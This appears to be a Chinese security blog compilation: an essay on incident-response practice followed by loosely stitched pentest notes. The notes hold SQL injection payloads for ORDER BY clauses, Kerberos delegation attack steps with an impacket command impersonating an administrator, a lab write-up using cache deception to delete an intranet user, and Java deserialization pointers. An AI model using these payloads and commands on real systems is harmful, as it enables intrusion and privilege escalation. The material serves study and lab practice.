理解应急响应

(写于2018年1月4日)

0x00 前言

之前我们部门内部进行过几次关于应急响应的分享,主要讲了几个具体的应急分析案例以及一些具体的技术,并没有从一个比较大的角度说明应急是什么。所以,我想根据自己这一年多的应急响应经验来谈谈自己对应急的一些理解。

0x01 应急的种类

从目前遇到的情况来看,应急大致可以分成两大类,一类是事件型应急,一类是异常型应急。所谓事件型应急,即针对当下流行安全事件、漏洞进行的应急动作,比如s2漏洞爆发、永恒之蓝漏洞被大范围利用的时候,企业为了确认自己的网络资产是否可能受到影响或者是否已经受到影响而产生的应急;而异常型应急则是企业发现自己的业务出现了非预期的情况(业务的不正常表现或已经确认被黑),想要搞清楚这种异常出现的原因而产生的应急。

0x02 应急的目的

做任何事情都有目的,应急也是如此。不同情况的应急,目的不尽相同,其实从应急事件产生的原因描述中就能知道应急的目的。对于事件型应急来说,应急分析的目的就是确认安全事件对企业资产的影响;对于异常型应急来说,应急分析的目的则是找到异常产生的原因并解决,保证企业业务在今后一段时间内不再因此而出现问题。

之所以提一下应急的目的,是因为如果目的不明确的话,面对比较复杂的应急场景时,思路很容易不清晰。特别是很多异常型的应急,如果不能明确“找到异常的原因”这一目的,思维往往会很混乱。至于抓捕攻击者、追回企业损失之类的行为,需要根据应急分析的结果来决定做不做以及如何去做,不属于应急分析的直接目的。

0x03 应急的方法

本节描述应急分析时一些常用的方法,不涉及具体技术。

(1) 据实分析

所谓据实分析,即根据应急时发现的具体信息,来判断发生过什么。这种分析完全依据已存在的事实,比如如果发现服务器上存在一个root用户的计划任务后门,就可以知道服务器的root权限被攻击者获取了;如果发现服务器Web目录下存在一句话木马,就可以知道攻击者获取到了Web服务权限;如果发现Web访问日志中出现了SQL注入的利用痕迹,就要自己去确认SQL注入是否利用成功。

据实分析是应急分析过程中最常用的方法,一般来说,一次应急过程中,据实分析法占比越高,那么这次应急分析的结论就越可靠。

(2) 合理猜测

能通过据实分析来达到应急分析目的的情况少之又少,当不能完全通过分析已存在事实来得到完整的应急结果时,合理猜测就成为一种重要的方法。

比如,你在网站目录下发现了Webshell,同时确认网站存在s2命令执行漏洞,但是Web相关日志全部被清空,没有办法确认s2漏洞是否被利用过。这时候通过分析,发现这台主机上仅仅存在一个Web服务,没有其他已知问题,这时候就可以猜测Webshell就是通过s2漏洞上传,之后可基于这个猜测去做进一步的分析,看是否能找到其他事实来印证这个猜测。

这里需要特别注意的是,合理猜测方法是在无法进行据实分析的情况下才考虑采用的方法,而且一定是“合理”猜测,绝不是毫无根据的臆测。如果一次应急过程中合理猜测的占比过高,那么这次应急的结论就需要被谨慎对待。

(3) 积极沟通

积极与企业相关人员进行沟通是做应急分析时非常重要的一个方法。基本的道理就是企业相关人员对自身网络资产、对自身业务、对出现的异常现象,要比我们应急分析人员熟悉的多,积极和他们沟通可以节省我们很多时间,并且更容易得出正确的结论。比如你在一台服务器上发现了一个奇怪的进程,此时就可以考虑直接询问企业相关人员这个进程他们是否了解,而不是自己对该进程进行分析;或者你发现服务器上有计划任务定时与某个IP通信,这时候也需要向企业相关人员进行了解,确认这样的行为是否是企业业务的正常需要,得到反馈之后再去进一步分析。

在做应急分析时,上述三种方法都会用到。一般的情况是,在据实分析的基础上,与企业相关人员进行沟通,辅以合理猜测,最后得出结论,这就是做应急分析的一般方法。当然,应急时面对的情况可能各种各样,方法和手段也要根据具体的情况来调整,只要时刻想着做应急响应的目的,就一定能想出解决问题的办法。

以针对XX科技大量gitlab用户信息泄露事件的应急为例,客户收到匿名黑客发来的邮件,部分内容如图:

gitlab系统之前经过我们的渗透测试,并未发现比较严重的问题。当时我首先对gitlab服务器进行常规分析,未发现明显的入侵痕迹,之后和客户沟通,了解到获取这些信息有两个途径,一个是服务器上的数据库备份,另一个是亚马逊云存储上的数据库备份。根据客户的反馈信息,结合之前的排查,我便猜测可能是客户亚马逊云某高权限Access Key泄露导致了该事件,后经客户确认确实如此。

0x04 应急的核心能力

这一节想说的是,对于应急来说,安全工程师的价值到底体现在哪里?说起对系统和网络的一些认知和操作,我们可能都比不上企业专业的运维人员,更不用说对企业业务的了解了,有些业务我们可能一点儿都不懂。在这种情况下,安全工程师凭什么去做应急?简单来说就是四个字——安全经验。

那么安全经验具体体现在哪些地方呢?

对于事件型应急来说,对相应事件、漏洞是否足够熟悉,决定了你能否做好这次应急。以s2漏洞爆发为例,比如首先要去看服务器是不是已经被黑,作为一个企业的运维人员,可能会从进程、文件、网络连接信息等方面入手去检查,那么作为一个安全工程师,仅做这些常规的检查不能体现出我们的价值。当这个漏洞爆发的时候,安全工程师就应该立刻关注它,搞清楚漏洞的原理、利用方式、危害、修复方法以及对于应急分析来说特别重要的一点——利用痕迹。在条件允许的情况下,最好是能通过亲自动手分析来搞明白这些问题,条件不允许时(比如没时间或者能力不对位)则要积极关注别人的研究成果,收为己用。回到s2漏洞,经过以上家庭作业,安全工程师发现,使用网上公开的一些漏洞利用工具进行漏洞利用时,在Tomcat的common日志中会留下痕迹,如下图所示:

针对Wannacry事件的应急也是如此,通过阅读网上大量公开的病毒样本分析报告,就能知道该病毒的传播原理(永恒之蓝)、现象(请求“开关”域名、勒索、蓝屏等)以及解决方案。了解这些之后再去做应急,就会有底气。

而对于异常型应急来说,安全工程师在应急过程中有一个重要的任务,就是要确认异常是否由安全事件所引起。在这种情况下,作为安全工程师,要能够根据服务器的一些基本信息(如版本信息、端口信息、服务配置信息等)来推测可能存在的安全问题,然后根据推测去确认问题是否存在,最后确认异常是否由安全问题所引起。以之前针对某交易所200个比特币丢失事件的应急为例,开始时我们通过一些基本的分析,发现相关业务代码中的比特币钱包地址被篡改,但是攻击者如何获取到服务器权限一直搞不清楚。这时,作为众人的偶像,葛新亮大佬根据系统日志中服务器似乎重启过的痕迹,结合服务器在阿里云上的基本信息,凭借安全经验,推测攻击者通过阿里云的镜像操作来控制服务器,依靠这个关键的合理猜测,逐步分析下去,居然找到了偷取比特币的攻击者!正因为安全工程师了解这种攻击方式,才能解决这次应急遇到的问题,这就是安全经验的体现。

0x05 一次非常规手段的应急

为什么会出现非常规的应急手段呢?因为我发现通过常规的方法,不能解决客户的问题(应急可能是最直接体现安服价值的活动)。

客户在自己的业务服务器上发现了Webshell,这时候应急分析的目的就很明确了,就是要搞清楚Webshell是怎么被放到服务器上的,然后采取一些办法来加固。这时我遇到的问题是,我通过对他们业务代码进行审查,确实发现了能够上传Webshell的漏洞,但由于客户之前没有开Web访问日志,而我无论如何也不能保证代码中没有其他漏洞,所以不能确认攻击者是否利用该漏洞进行攻击。

通过与客户沟通,在客户确认能hold住的情况下,我建议客户开启Web访问日志,删除之前的后门,然后去激怒攻击者(客户似乎知道攻击者是哪些人),诱使攻击者再来进行攻击。通过这种方式,我从Web访问日志中确认了攻击者确实是通过该漏洞上传的Webshell。

0x06 存在决定意识,量变引起质变

前面没有提到应急时具体的技术点,因为不是本文重点。但存在决定意识,如果一个人对Linux、Windows系统的基本信息、基本操作都不了解,那么肯定做不好应急。

此外,一些技巧性的操作,也会造成量变引起质变的现象。比如,如何从大量的Web访问日志中快速过滤你想关注的信息?如果对awk、grep等工具运用不熟练,很可能因错过关键信息而无法很好的完成应急分析工作。

0x07 总结

我从一些比较大的方面谈了一下自己对应急的一些理解,描述了我认为的应急的分类、目的、方法等内容,特别提到了我认为在应急分析活动中,作为安全工程师应该具备的核心能力。希望能给不熟悉应急响应的小伙伴一些帮助,让大家在面对应急工作时能够更加从容,可以尽早独立完成应急响应工作。

最后,通读了整篇文章,发现并没有体现出我的文学天才,很烦。

order by后注入的一种测试方法

select * from profile order by (select (case when (1=1) then sleep(2) else (select 2 union select 3) end))
成功触发sleep后,sleep的时间=查询出来的数据条数*2,所以必须在当前这次查询有至少一条结果的情况下才能用这种方法判断。
报错payload举例:(SELECT 8121 FROM(SELECT COUNT(*),CONCAT(0x716b787071,(SELECT (ELT(8121=8121,1))),0x717a627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

委派

在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派。

非受限委派(非约束委派)

非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT发送给访问的service1,service1拿到TGT之后可以通过TGT以User的身份访问域内任意其他服务,所以被称为非约束委派。

流程:

1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT(forwardable TGT,为了方便我们称为TGT1)。
2. KDC在KRB_AS_REP消息中返回TGT1。
3. 用户再通过TGT1向KDC请求转发TGT(forwardedTGT,我们称为TGT2)。
4. 在KRB_TGS_REP消息中返回转发TGT2。
5. 用户使用TGT1向KDC申请访问Service1的ST(ServiceTicket)。
6. TGS返回给用户一个ST。
7. 用户发送KRB_AP_REQ请求至Service1,这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC,以用户的名义请求能够访问Service2的票据。
9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10. Service1以用户的名义像Service2发送KRB_AP_REQ请求。
11. Service2响应步骤10中Service1的请求。
12. Service1响应步骤7中用户的请求。
13. 在这个过程中的TGT转发机制,没有限制Service1对TGT2的使用,也就是说Service1可以通过TGT2来请求任意服务。
14. KDC返回步骤13中请求的票据。

之后Service1即可通过模拟用户来访问其他Service。

如下图所示,Domain Controllers账户默认配置为非受限委派:

攻击非受限委派的思路:

控制一台开启非受限委派功能的服务账户运行服务的主机,诱使其他域用户(包括域管理员)访问,该主机便可以缓存来访用户的TGT,之后只需提取TGT做PTT攻击即可。

受限委派(约束委派)

约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展,具体如下:

被设置为TrustedToAuthForDelegation的服务能够调用S4U2Self向认证服务器为任意用户请求访问自身的可转发的服务票据,此后,便可通过S4U2Proxy使用这张TGS向域控制器请求访问B的票据。

流程:

1. 用户向Service1发送请求。
2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT,然后通过S4U2self扩展协议模拟用户向KDC请求ST。
3. KDC这时返回给Service1一个用于用户验证Service1的ST(我们称为ST1),并且Service1用这个ST1完成和用户的验证过程。
4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证,然后响应用户。

注:这个过程中其实Service1是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。

5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:

A.Service1已经验证通过,并且有一个有效的TGT。

B.Service1有从用户到Service1的forwardableST(可转发ST)。个人认为这里的forwardable ST其实也就是ST1。

6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。
7. KDC在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。
8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
9. Service2响应Service1的请求。
10. Service1响应用户的请求。

其中1~4属于S4U2Self协议部分,5~10属于S4U2Proxy协议部分。前者的作用是让Service1代表用户向KDC验证用户的合法性,并且得到一个可转发的ST1;后者的作用是让Service1代表用户身份通过ST1重新获取ST2来访问Service2,并且不允许Service1以用户身份访问其他服务。

如下图所示的受限委派配置,Test Service服务可以以任何一个域内用户的身份向 KDC 申请一张访问 Test Service 自身的票据,同时由于配置了TGS服务,也可以申请访问TGS服务票据(即用户的TGT),而且不需要知道目标用户的密码:

攻击受限委派的思路:

服务账户A配置了针对资源B的受限委派,如果我们可以获取到账户A的TGT(直接从内存中读取,或者先获取账户A的明文密码或者NTLM hash然后生成TGT),即可使用tgt::s4u请求获取任意域用户C针对资源B的Service Ticket,然后便可以C用户身份访问资源B。

基于资源的约束委派

基于资源的约束委派(Resource-Based Constrained Delegation)是一种允许资源自己去设置哪些账户委派给自己的约束委派,是Windows Server 2012中引入的功能。

传统的约束委派是“正向的”,通过修改服务A属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B以获得服务票据(TGS)来使用服务B的资源。

而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SPN,达到让服务A模拟用户访问B资源的目的。此配置不要求域管理员权限,每个资源都可以通过LDAP为自己配制基于资源的约束委派,如果可以拿到计算机账号的密码或TGT,或直接拿到本地管理员账户,就可以直接为该计算机账号(服务)配制基于资源的约束委派。

利用rbcd进行攻击的原理:

无论服务账号的UserAccountControl属性是否被设为TrustedToAuthForDelegation, 服务自身都可以调用S4U2Self为任意域用户请求访问自己的服务票据。

但是当没有设置时,通过S4U2Self请求到的TGS将是不可转发的,只有可转发的TGS(设置了”forwardable”标志位)才能用于S4U2Proxy。

然而,不可转发的TGS可以用于基于资源的约束委派。S4U2Proxy会接收这张不可转发的TGS,请求相关服务并最后得到一张可转发的TGS。

即:如果资源B配置了针对服务A的rbcd,那么服务A可以获取域内任意用户针对资源B的Service Ticket(拥有服务账号A的TGT即可完成此过程),过程如下图:

利用rbcd的攻击思路(S4U攻击):

在获取到一个普通域用户权限后,可以考虑以下思路来提升权限:

1.创建一个机器账户A(需要一个具有SPN账户的TGT,而机器账户满足此条件),可以使用Powermad创建;

2.把要攻击的目标服务当作资源B,想办法为其配置针对账户A的rbcd,常用方法是获取到目标服务的计算机账户通过HTTP请求进行的无签名NTLM认证信息,之后通过NTLM中继攻击,将认证转发到域控的LDAP服务,便可以为资源B配置委派。

其中,诱使目标进行NTLM认证的方法举例:

利用SSRF也是一个常见的思路。之后进行NTLM中继攻击可以使用impacket工具包中的ntlmrelayx.py工具。

3.成功为资源B配置委派之后,便可以以任意域用户的身份请求访问资源B的Service Ticket,这个过程可以使用impacket工具包的getST.py来完成,如申请administrator访问目标计算机cifs服务的票据:

python getST.py -dc-ip dc.lab.local lab/serviceSPNA$:Passw0rd -spn cifs/target.lab.local -impersonate administrator

获取票据之后便可以进行PTT攻击,使用smbexec.py工具可以获取目标的system权限,使用Rebuse也可以完成S4U攻击以及PTT攻击。

注:由于域内计算机的mS-DS-CreatorSID(将这台计算机加入域的域用户)拥有修改其msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限(即为其设置rbcd的权限),所以当拥有普通域用户A的权限时,就可以通过rbcd来获取域内所有由A加入域的主机的权限。

ThinkPHP 5.0.24反序列化利用链

基础知识:

__call魔术方法:当调用类中不存在的方法是调用该方法;

file_exists方法可以触发任意类的__toString方法;

抽象类不能实例化,需要使用其子类;

self::用来调用静态成员变量、函数;

php函数调用的时候可以多传参和少传参;

php脚本结束的时候会调用已创建对象的__destruct方法;

可以通过重写目标类的构造方法来给private类型的成员变量赋值。

利用链:

XSS结合反代缓存欺骗由外到内

James Kettle的一个练习环境,地址:https://hackxor.net/mission?id=4

这个题目对外开放的目标是:http://dreaded.hackxor.net/,要求我们访问处于内网的管理后台http://intranet.hackxor.net/legacy_useradmin/并且删除一个名为chris的用户。

简单ping一下这个后台的域名就能看到确实是在内网:

攻击思路:找到一个可以控制页面返回内容的点(XSS或者说一个HTML注入点),在页面返回内容中加入一张“图片”(其真实内容是处于内网的敏感页面),诱使反向代理去缓存该“图片”,之后我们就可以在外网访问被目标反向代理缓存的内容(内网敏感页面),攻击时序如下所示:

之所以可以做到这一点,原因:
1.目标反向代理可以访问内部Web应用;2.内部Web应用可以将类似/index.php/a.jpg的路由解析为/index.php,使得缓存欺骗攻击成为可能。

下面看具体攻击步骤,首先发现外网页面上的一个html注入点,插入一个img标签,“图片”的地址是我们想看到的内网页面http://intranet.hackxor.net/legacy_useradmin/index.php/a.jpg:

多次请求之后猜测目标反向代理已经缓存了该页面,修改Host头进行访问,发现内网管理后台页面已经成功缓存:

在这个管理后台页面上可以看到删除用户的路由,这里是POST请求,猜测GET请求应该也可以,插入一个删除chris用户的“图片”地址http://intranet.hackxor.net/legacy_useradmin/delete.php/b.jpg?user=chris:

多次访问之后重新缓存内网管理后台页面http://intranet.hackxor.net/legacy_useradmin/index.php/d.jpg,访问发现chris用户已经被删除(因为反向代理的缓存已经访问了删除chris用户的地址):

Java反序列化梳理

最近做了一下空指针-treasure这道题,卡在了第二步fastjson反序列化的利用,想来自己确实仅仅简单调试了一下fastjson 1.2.47版本的反序列化漏洞,对fastjson反序列化漏洞以及Java反序列化类型漏洞的发掘和利用思路缺乏整体认识,在这里简单梳理一下。

基础反序列化Gadgets集合:https://github.com/frohoff/ysoserial,里面包含了目前已知的来自jdk以及常用libs的反序列化Gadgets,如CommonsCollections、Groovy等,具体的POP链可以在ysoserial工具payloads目录下各自的利用代码中看到,也可以直接在其main函数中进行调试。

反序列化漏洞可结合JNDI注入利用,如fastjson反序列化经典的JdbcRowSetImpl利用链,关于JNDI注入的详细介绍:https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf。其中,最常用的jndi+rmi和jndi+ldap的利用方式会受到高版本jdk的限制,具体的限制内容及绕过方法:https://www.freebuf.com/column/207439.html,另外,文章中提到的各种通过RMI加载远程恶意类进行反序列化利用时还要受到以下条件限制:

同样,利用本地类的Gadgets也可以绕过该限制(如本次题目)。所以总的来看,通过原生RMI/JNDI+LDAP结合本地Gadgets是可以无视上述所有限制的攻击方式。

寻找可用的反序列化漏洞:1.寻找可控反序列化入口,如weblogic、fastjson等应用的反序列化功能点输入可控;2.寻找可利用的Gadgets,如ysoserial工具中整理的各种利用链以及结合rmi、jndi注入的利用链。其中,反序列化对象特征为:ac ed 00 05,对应的Base64编码为rO0AB。可以在黑盒测试时帮助发现反序列化入口点。

Java反射Demo

package com.test.reflect
 
public class ClassDemo {
	public static void main(String[] args) {
		Foo foo1 = new Foo();
 
		Class c1 = Foo.class;
		Class c2 = foo1.getClass();
 
		System.out.println(c1 == c2);
 
		//Class c3 = null;
		//c3 = Class.forName("com.test.reflect.Foo");	
		//System.out.println(c2 == c3);
		//true
 
		try {
			Foo foo = (Foo)c1.newInstance();
			foo.print("aaa");
		} catch (InstantiationException e) {
			e.printStackTrace();
		} catch (IllegalAccessException e) {
			e.printStackTrace();
		}
 
		System.out.println(c1.getName() + " methods:");
		for (int i = 0; i < c1.getMethods().length; i++) {
			System.out.println(c1.getMethods()[i].getName());
		}
 
		System.out.println(c1.getName() + " fields:");
		for (int j = 0; j < c1.getFields().length; j++) {
			System.out.println(c1.getFields()[j].getName());
		}
 
		System.out.println(c1.getName() + " constructors:");
		for (int k = 0; k < c1.getDeclaredConstructors().length; k++) {
			System.out.println(c1.getDeclaredConstructors()[k].getName());
		}
 
		try {
			c1.getMethod("print", String.class).invoke(c1.newInstance(), "lalala");
		} catch (Exception e) {
			e.printStackTrace();
		} 
	}
}
 
class Foo {
	public Foo() {}
 
	public void print(String arg) {
		System.out.println("I'm Foo" + arg);
	}
}